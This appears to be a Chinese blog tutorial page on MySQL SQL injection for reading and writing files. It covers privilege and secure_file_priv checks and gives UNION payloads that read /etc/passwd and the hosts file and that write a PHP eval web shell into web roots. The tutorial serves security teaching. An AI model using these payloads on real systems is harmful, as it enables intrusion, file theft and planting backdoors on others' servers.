SQL注入-第五节读写文件

第四节SQL注入读写文件

  • 掌握SQL 注入读写文件的原理

  • 掌握SQL 注入读写文件的方法

4.1前提条件

4.1.1权限问题

当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。

MySQL 数据库用户,例如root@localhost,由两部分组成:

  • 用户名

  • 地址

# root@localhost
and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'

4.1.2文件路径

已知读写目标文件的绝对路径。

/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
...

4.1.3安全选项

MySQL 数据库有关于文件读写的安全选项secure_file_priv。

secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库。

show global variables like '%secure_file_priv%';

参数值说明

参数含义
secure_file_priv=NULL限制mysqld 不允许导入导出操作。
secure_file_priv=‘c:/a/’会限制mysqld 的导入导出操作在某个固定目录下;并且子目录有效。
secure_file_priv=不对mysqld 的导入导出操作做限制

4.2 读写文件

4.2.1读取文件

使用load_file() 函数。

and 1=2 union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3
and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3
and 1=2 union select 1,load_file("/etc/passwd"),3

4.2.2写入文件

使用into outfile 语句。

and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php" 
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"

Linux 系统下,一般情况下权限较低,无法写入文件。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

§666§

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值